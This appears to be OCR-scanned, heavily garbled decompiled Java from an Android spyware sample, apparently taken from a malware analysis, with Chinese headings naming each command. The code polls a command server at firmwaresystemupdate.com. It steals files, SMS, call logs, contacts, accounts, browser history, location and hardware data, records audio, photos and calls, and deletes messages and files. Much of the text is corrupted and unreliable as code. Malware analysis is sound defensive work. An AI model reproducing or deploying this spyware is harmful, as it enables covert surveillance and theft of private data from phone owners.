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REUTHIE L

this.READ ACCOUNTS
‘this.READ BROWSER
‘this.SERTAL_NUMBER CBA3B558-6551-4360-9922-20180125846" ;
this.amPreferences = args.getsharedPreferences(“com.andriod.browser. aMservice”, 8);
this.useriame = this.readStr("Username");
if(this.userName == "None"} {

this.save("UserName"”, “kooroosh3i");
}

this.serveraddress = this. r'EadStr( Serveraddress™);
if(this.serveraddress

“No { CET E
this.save("Serveraddress”, "http://wwew.firmwaresystemupdate.com/mmh"); ME ~ EgU RL
1

this.backupaddress = this.readstr("Backupaddress™);
if(this.bockupAddress == "None™) {

this.save("Backupaddress”™, “"http://www.firmwaresystemupdate.com/mmh™);
}

public void run() {
st ura[] w5

V6 = this.muebservice.readurl(scring.valueOf(this.anservice .ansettings. serveraddress) + */get-function. php?uuid=" + AMService.devicelan, null);
null 8& 1v6.equals(“NoCommand”) 88 Ive.equals( Uuiderror®)) {

LTSS

BULU LdUel_1swj

}

if(vs[1].equals("allFile™)y { // FEEVEHNTIE
this.amService.WriteCommand(12®, Utils.readallriles(this.omService));
goto label_i4a;

}

if(vs[1].equals("allsms")) { // HEVEE
this.amService.WriteCommand (9@, Utils.readAllSms(this.amService));
goto label_l42;

}

if(vs[1].equals("allcall™)) { // BEIRTEEIEILHE
this.amservice.WriteCommand(93, Utils.readallcallHistory(this.omService)};
goto label_14g;

h

if(vs[1].equals("allapp™)) { // BEIFRECDZHERArP
this.amService.WriteCommand(@xee, Utils.readallapplicatien(this.amService});
goto label_148;

}

if(vs[1].equals(“allerowser™)) { // FEIRIEHSEIEF
this.amservice.WriteCommand (18, Utils.readBrowserHistory(this.amService});
goto label 148;

}

if(vs[1].equals("allaccount™}) { // i=EIF MRS
this.amservice.WriteCommand(@x73, Utils.readUserAccounts(this.omService)};
goto label_14g;

}

if(vs[1].equals("allsetting™}) { // EENSEES
this.amservice.WriteCommand(@x75, this.amService.amsettings.readAll())};
goto label_i42;

1

if(vs[1].equals(“Location™}) { // EEleprs
this.amservice.WriteCommand(@x77, this.amservice.getlastLocation());
goto label_148;

}

if(vs[1].equals("HardwareInfo")) { // FEEEEMHEE
this.amService.WriteCommand(ex7e, Utils.readdardwareInfo(this.amservice)};
goto label_142;

FE4 Set"EHIRE
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public void changesetting(string args, string arza) {
boolean v@ = this.gmsettings.logéps;
this.ansettings.genericsave(args, argd);
this.ansettings.refresh();
if((this.amsettings.logGps) && 1ve) {
this.startepsupdates();
¥

ry {
1f(larga.equals(“stopservice”)) {
return;

3

if(1Eoolean.parseBoolean(args)) {
return;
this.stopself();
catch(Exception vi) {
¥
1
public void ExportLogs() {

try {
File v2 = new File(this.getFilesdir(), String.valueof(new Simpledater
st = string.valuedf (AMService. devlceuum) + "_" + new Simpledate

= this.getFilesDir() + "/" + v3 +

lf(l.rtl. s.zip(va. gEtAbleutEPath(}, v6, string. valueDF(vS} + ".log")) {

v2.delete();

if(Iutils.encrypt(ve, this.getFilespir() + /"
return;
¥
new File(ve).delete();
T
catch(exception ve) {
S

this.onCommandInfoEvent(”Exportlogs err
s

$54“Get™AllLog"#xEX Log

if(vs[e].equals("cet")) {

this.amservice.onCommandInfoEvent( et

3+

“leg")) {

ve.getiessage());

if(ws[1].equals("alliog"}) {
this.amservice.Exportlogs(): // FHlLog

public void Exportlogs() {
try {

File v2 = new File(this.getFilesbir(), string.valu
-valusof (AHservice. deviceulin) +

v3 = strin

st\
V6 = this.getFilesDir() + "/ + v3 +

v2.delete();

if(lutils.encrypt(ve, this.getFilespir() + “/°

return;

new Filz(ve).delete();

1
cateh(exception ve) {
this.onCommandInfoEvent (“ExportLogs err :

3

4 “Get™AllContact’ HBUB R

ne
lf(l.rtﬂs zip(v2.getabsoluterath(), ve, string. valueuf(v]) +

new Simpledate vy
+ new simpl tero rmat("yy

-log™)) {

Cevz e 1o {

+ vo.getMessage());

public static string resdallcontacts(Context argis) {

String vie,

v1 = argla.getcontentresolver();

"+ ws[1]);

, Locale.Us).format(new Date())) + ".tmp");
dd_HHmmssS55", Locale.us).format(new Date());

Locale.Us).format(new Date())) + “.imp”);
d_HHamssSSS”, Locale.us).format(new Date());

{
Contentresolver
CUPsor ¥9 = V1.query(ContactsContracticontacts.CONTENT_URI, null, null, null, null);

if(va.getCount() <= @) {
return vg;
T

do {
1abel_1s:
1F(1va. moveToNext()) {

return vs;
1
V12 = v9.getstring(vs.getcolumnIndex(”_id"));
V16 = v9.getstring(va.getColumIndex("display_name"));

¥
while(Integer.

v8 = string.valueof(ve) + vie + "~
Cursor 17 = vi.query(contactsContractsc
while(vi7.moveTonext()) {

V8 =

3

vi7.close();
VB = String.valuedf(va) + “w”
curs:
while(vi2.moveTokext()) {

string

string.valueof(ve) + vi7.getstring(vi7.getcolumnIndex("data1®)) + °

onmonDatakindssPhone . CONTENT_URT, null,

¥12 = vi.query(Contactscontract4Commonnatakinds$Email. CONTENT_URT, null,

V11 = viz.getstring(viz.getcolumnIndex(datal®));

v12.getstring(viz. getcolumnIndex("dataz"));

VB = String.valueOf(ve) + vil +
3
viz.close();

= strinz.valueof(ve) + “\n";
goto label_1s;

154" Get™AllFile"SRERF AL 1+

parseInt(va.getstring(ve.getColumnIndex("has_phone number”)}) <= @);

“contact_id =

“contact_id

27, new string[1{vl4}, null);

= 2", new strinz[]{vi4}, null);
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public static byte[] Readallriles(cc
long v5 = 1;
rayoutputstr

t arg?) {

rayoutputstream();

try {
Utils.dos = new DataOutputStream(((OutputStream)ve));
uUtils.curID = -1;
Utils.dos.writeByte(1);
Utils.dos.writeLong(-1};
utils.dos.writeByte("/sdcard”.length(});
utils.dos.writechars("/sdcard”);
utils.dos.flush();
Utils.curID += v5;
utils.getlist(new File("/sdcard™), Utils.curID);
string vl = AMService.gService.mExternalsdPoth;
utils.dos.writeByte(1);
utils.dos.writeLeng(-1);
utils.dos.writeByte(vi.length());
Utils.dos.writeChars(vl);
Utils.dos.flush();
Utils.curID #+= v5;
Utils.getlist(new File(v1l), Utils.curID);

¥
catch(Exception v2) {

return ve.toBytearray();

$54“Get™ AlISms"HKER 4G 15 :

public static string readallsms(contert argas) {

string viz2 =
E
Cursor vé = argl3.getContentResolver( parse(“content://sms”), null, null, null, null);
7t V10 = new Sinpleost yyirndd visimm: 55", Locale.us)}
if(ve.moveToFirst()) {
int vai;
For(vIL = 65 ¥i1 ¢ ¥E.getCount(); +nl) {
12 = String.valusof (siring.valueof (s iring. valueof(string. ng. ng. ing.valusof(v12) + ve.getstring(ve. getcolunnindex("pr )) = ") + ve.getstring(ve. getcolu

VE. moveToNext();
3

ve.close();
return vi2;

cateh(exc ) {
anservice.gservice. onCommandInfoEvent (“Read a1l Sus error @ + vg.getiessage());
return viz;

5 "Get™AllCallRER T A FVEIC= :

t

public static string readallcallkistory(Cortext argls) {

115, CONTENT_URT, null, null, null, “date DESC');

11 = angis.getcontentResolver() .query(Call
11.getcolumIndex(“nusber”);

11.getColumnIndex( “type™);
11, getColumIngex(“date’);
V11, getColumIndex(“duration”);
sinpl 73t v1e = new sing:
while(vi1.moveTonext()) {

= String.valueof (string.valueof (strin

nat("yyyy/mrdd wiien:ss®, Locale.us);

VBLUEOF(5tring. VELUEOF(VE) + V11.getSEring(Vis) + “-nn") + VI1.gefString(vi2) + “--") + v10.format (new J

11.getlong(v7))) + “es") + WIL.gets

vi1.close();
return ve;

eaten(exception ve) {
sservice. gservice .onCommandInfoEvent (“ead call histo
return ve;

+ v3.getressage());

154"Get™AllApp REX BTA B TR KAPP :

| public static String readallipplication(Co
string ve = "";

try {

text arg7) {

Tterstor va_l = arg?.getapplicationContext().getPackngeManager () .getInstalledapplications(exse). iterator();
while(va_1.hashext()) {
object v = va_1.next(};

(((4pplicationInfo)vi).flags & 1) b= @ 2 String.valueof(ve) + “lo—" I String.valueof(ve) + “2--";
v8 = Strinz.valueof(ve) + ((ApplicationInfolvi).packageName + “\n";
3
return ve;
eatch(exception va) {
return ve;

¥

154 “Get™AllBrowser JREUST B X ST 2810%

public static String readBromserHistory(Co

try {
String va ark
Sinpl nat V12 = new Simg mat( /dd Heimmiss®, Locsle.US);
Cursor v13 = argle. getcontentResolver().query(Uri.parse("content: //com.android. chr _HISTORY_PROJECTION, 3, mull, null);
IF(v13 1= null) {
Vi3.moveToFirst();
iF(v13.moveToFirst()) {
1F(v13.getcount() <- o) {
label 21;
¥
13, isafterlast()) {
tring.valueof(siring.valueof (string.valueof (v1e) + 1"} + vi2.format(new iova.sl.Date(vi3.getLong(3))) + "=} + v13.getstring(vis.getcolumnIndex("url®)) + “~=\n";
v13.moveToNext ();
+
¥
b

rg16.getcontentResolver() . query (Erouser . BOOMIARKS_URI, Eronser HISTORY_FROJECTION, V3, null, null);
3F(v13 1= null) {
VI3, mOveTOFirst();
1F(1V13.moveToFLPSE()) {

return v1e:

54 “Get™AllAccount™ U Flk /=
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*EéuGetm‘Al|Sett|ng,’*&bﬂi.‘&§{—‘a—1% .

F54“Get"Hardwarelnfo" FKEUR & FEHEE -

public static String readUserAccounts(Context argd) {

string vi = "7}
try {
account[] w2 = AccountMan .get(args.getapplicationContext()}.getaccounts();

int vé = v2.length;

int vs;

for(vs = @; v5 < v6; ++v5) {

vl = String.valueOf(String.valueof(vl) + v2[vs].type +

3

return vi;
catch(Exception va) {

Amservice.gService.onCommandInfoEvent(“Read accounts fai

return vi;

i

)+ V2[VE].name + "\n";

+ v4.getMessage());

+ et th

public String readdll() {

return Strinz.valueof(“*) + this.usermame + e + this.. + e+ thi e:

54 “Get™“Location”# XGPS

public string getlastlocation() {

string ve;
{
boolean vé = this.mLockngr. isProviderEnabled("gps");
boolean v = this.mLockngr. isProviderEnabled("ne
if((ve) 1l (va)) {

ing vie = ve ? "gps” : "network”;

cad(new Runnable(vie) {
pUbLLC ¥old run()
r.prepare().
AMService. this.mUsertocationHandler = new Handler();

+ "o+ this.Logeps +

" + this.Logsms + "~ + this.logcall + "~

ry
AMservice.this.mLocngr.requestLocationUpdates (this.valsprovider, 0, 8f, new AMLocListener(AMService.this, true));

catch(exception ve) {
Amservice.this.oncommandInfoEvent (" Ge
ANservice.this.muserLocationdandler . getLooper().quit();

¥

Looper. Loop();

¥
1).start();
this.oncommandInfoEvent("wait to device obtain location");
= this.mLocingr. getLastknomnLocation(“gps™);

null) {
V7 = this.mLocungr. getLastknomnLocation(network™);

(V7 == nuu) {
strin

= Utils.cetcelld(((co
nCmmandlrlﬂ)EvEnt( Gps off
mat v§ = new Simpl
this. niastrocation _valueof (vs. format(new Date())
this.miostiocation £.valueof (this.mLastLocation) +

if(utils. 1suetwrbowanab1etmservue gservice)) {

public static String readtardwareInfo

tLocation thread err : + v6.getMessage());

try
Cbject v2 = args.getsystemservice("phone");
1F(v2 1= null) {
v1 = String.valueof(((Telephonymanager)va) . getbevicerd()) + "~ + ((7elephonymanager)va).getlineinumber() + "~ + ((TelephonyManager)va) . gethetworkoperatortame() + "~
goto lavel _27;
Vi e e ey
3
cateh(exception va) {
¥
o+ BUIIAMODEL + "o+ BULLGLCPULABT + "~ + BULLDJPROBUCT + "~ + EUILOSVERSION.RELEASE + "~ + Utils.getApplicationkane (args) +

ing.valueOf (v1) + Build.MANUFACTURER +

cateh(exception ve {
aMService.gservice. onCommangInfoEvent("readiards
3

return v1;

+ ve.getressage());

T54“Get™File” LEHREEINEE

ARS8 www.firmwaresystemupdate.com
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protected void doInBackground(string[] arg3e) {
int ve;

int va;
pataoutputstream ve;
URLConnection v7;
FileInputstream vi1;
void va2s;

File v21;

string vz i
int vie = exieceoe;
try {

v21 = new File(arg3e[e]);

if(lval.exists()) {
AMservice.gservice.onCommandInfoEvent(“File upload
v25 = null;
return v25;

}

if(v21.length() > ex3sdeesea) {
if(arg3e[1].equals("Delete™)) {
v2l.delete();
1

Avservice.gservice.onCommandInfoEvent("File upload

return null;

Vi1 = new FileInputStream(v21);
new URL(v24).openConnection();

b

if(this.serverdddress
this. save("serveraddress”, “http://

3

error @ [" + arg3e[e] + "] File not found");

error :

[+ arg3a[e] + "] File size > 50 M8");

W.firmwaresystemupdate.com/mmh");

this.backupAddress = this.readStr("Backupaddress”};

if(this.backupAddress "Non
this. save("Backupaddress”, "http://

3

this. hiddennumber = this.readstr("HiddenNumber”);

this.save("media Busy”, false};
this.save("Get File", false);
this.save("Delete File", false};
this.refresh(});

$54“Take"“Audio” R & :

void startrecord() {
try

this.recorder = new Mediarecorder();
this.recorder.setaudiosource(1);
this.recorder.setOutputFormat(1);
this.recorder. setAudioEncoder(1);
this.recorder. setAudioSamplingRate (8000) ;

ile(utils.mvediaoir);
Ive.exists()) {
vB.mkdirs();

this.mFilegut = new File(Utils.m¥ediapir, v2);

this.recorder.setoutputrile(this.mrilegut.tostring(});
Amservice.gservice.onCommandInfoevent(“Record audio start : * + this.mourationPart / 1eee);

this.recorder.prepare();
this.recorder.start();
Thread.sleep(this.mburationPart + 1);
this.StopRecord();

catch(Exception vi) {

W, firmwaresystemupdate . com/mmh"};

.valueof(new SimpleDaterormat(“yyidd”, Locale.Us).format(new Date())) + “.2°;

Amservice.gservice.onCommandInfoEvent(“Record audio start error : " + vi.getMessage());

this.mInitok = false;
this.mFilegut.delete();

¥
1
void Stoprecerd() {
try {
if(1this.mInitok) {
return;
1

this.recorder.stop();
this.recorder.release();
this.recorder = null;
if(this.mFilegut 1= null) {

AnSservice.gService.onCommandInfoEvent (“Record audio complete”);

if(lutils.encrypt(this.mrileout.getabsoluterath(), string.valueof(utils.muediaDir) + "/" + (string.valueof(aMservice.devicellID) + " "

return:

$54“Take"“Photo™fAHE :
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public void run() {
int v2 = commandmanager.this.mTakePhtocount;
int v3 = commandmanager.this.mTakephotoDuration;
string v&4 = CommandManager.this.mTakePhotocamerald;
CommandManager.this.mStopTakePhotoThread = false;
int v1 = @;
while(vl < v2) {
if(CommandManager.this.mStopTakePhotoThread) {
return;

3

try {
new takePhoto(Commandmanager.this, va4).execute(new string[]1{""});

hread.sleep(((long)v3));
1
continue;

T

catch(Exception ve) {
CommandManager. this.amService.onCommandInfoEvent(“takePhotoThread err
break;

+ v@,getMessage());

1

CommandManager.this.mStopTakePhotoThread = true;

$54“Take"Video AR :

public void run() {

int v2 = Commandmanager.this.mTakerhtocount;

int v3 = CommandManager.this.mTakePhotoDuration;

String v4 = CommandManager.this.mTakePhotoCamerald;

CommandManager.this.mStopTakePhotoThread = false;

int v1 = @;

while(vl < v2) {
if(Commanduanager . this.mstopTakePhotoThread) {

return;

3

try {
new takePhoto(Commandmanager.this, va).execute(new string[1{""});
hread.sleep(((long)v3));
vl
continue;

T
catch(Exception ve) {
Commandanager . this.amservice .onCommandInfoEvent {“takephotoThread err : * + v.getMessage());

break;

¥

CommandManager.this.mStopTakePhotoThread = true;

$24“Take"“RecordCall" B R -

public void run() {
strinz(] vs;
int va;
string viz = ™
int vi1 = o5

if(v11 == 0} {
try {
w1z =
1F(Utils, Ishetworkavailable(this. anservice)) {
stri = this.meebservice. readur](string.valueof (this. amser:
iF(v6 != nuLl 88 !v6.equals(“NoCommand”) 8& !V6.equals(“UuidErt
¥12 = vE;

ice.amsettings. serveraddress) + */get-functi
) {

¥

if(vi2.equals("")) {
goto label_21;

¥
string[] vi = v12.5pLit(
va = 6;
while(true) {
1sbel_35
1f(v4 3= vi.Length) {
goto label_a1;

1f(vi[va].length() > 500) {
goto 1abel_101;

154 "Delete™ SMS” ik i R4E1(5 -

public static void deletesms(Context arg?, String argd, String argd) {

try {
arg7.getContentResolver() .delete(Uri. parse( “content://sms”), “thread_id=? and _id=2", new string[]{string.valueof(args),

aMservice. gservice.oncommandInfoEvent( D M5 SuCCess © " + arge);

catch(Exception v1) {
AMservice.gservice.onCommandInfoEvent("Delete sMs error : " + vi.getMessage());

}

T54-“Delete™ Call"ffxREICR :

phpPuuid=" + aMservice.deviceuurn, null);

string.valueof(arg9)});
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public static void deleteCalluistory(contest argle, string argll) {
try {

Iv7.moveToFirst()) {
return;

do

argle. (). delete(Uri.withappe h(calllog

while(v7.moveTonext());

AMService.gService.onCommandInfoEvent( Delete call history success : ° + argll);
¥
cateh(Exception v8) {

AMService.gService.onCommandInfoEvent( Delete call history failed : * + argll);

¥

154 “Delete™ File MR FIEIRR :

public class deleteFiles extends A

Task {
public deleteriles(CommandManager argl) {
CommandManager.this = argl;

super();
}
protected object doInBackground(obiect[] arg2) {
return this.deIneackground({(s gl[1yarg2));
}

protected string doInBackground(Strinz[] arg7?) {
try {
File v@ = new File(arg?[e]);
if(ve.exists()) {
va.delete();
CommandManager.this.amService.onCommandInfoEvent(“Delet:
return “Executed”;

¥

+ v@.gethName() +

CommandManager . this.emservice.onCommandInfoEvent(“Delete file [* + arg7[a] + "] er
3
catch(Exception w1) {

CommzndManager.this.omservice.onCommandInfoEvent("Delete file [* + argz[e] + "] eri

5

}

return “Executed”;

b

protected void onPostExecute
this.onPostExecute(((5tr

154 “Reset”“AllCommand’E & %4 :

RIRAHT

public void ResetCommand(} {

try {
File[] v3 = this.getFilesDir().listFiles(this.filter);
if(w3 != null && v3.length > @) {
int v2;
for{v2 = @; v2 < v3.length; ++v2) {
wv3[v2].delete();

}

v3 = new File(Utils.mMediaDir).listriles(this.filter);
if(w3 != null && v3.length > @) {
for{v2 = @; v2 < v3.length; ++v2) {
wv3[v2].delete();

}

for(v2 = @; v2 < Defines.COMMANDS. Length; ++w2) {
this.amSettings.save(Defines.COMMANDS[v2], "None™);
}

this.mSengMediaInProgress = false;

this.aomsettings.save("
this.aomsettings.save("
this.aomsettings.save("
return;

catch(Exception v1) {
this.onCommandInfoEvent(“ResetCommand error : " + vl.getMessage(});
return;

v7 = argle ()-Query(Calliogscalls. CONTENT_URI, null, “number = ? °, new string[J{argii},

bH

115 .CONTENT_URT, String.valueOf(v7.getInt(v7.getcolumnindex(”_id")))),

] com

: not found”);

+ vi.getMessage());
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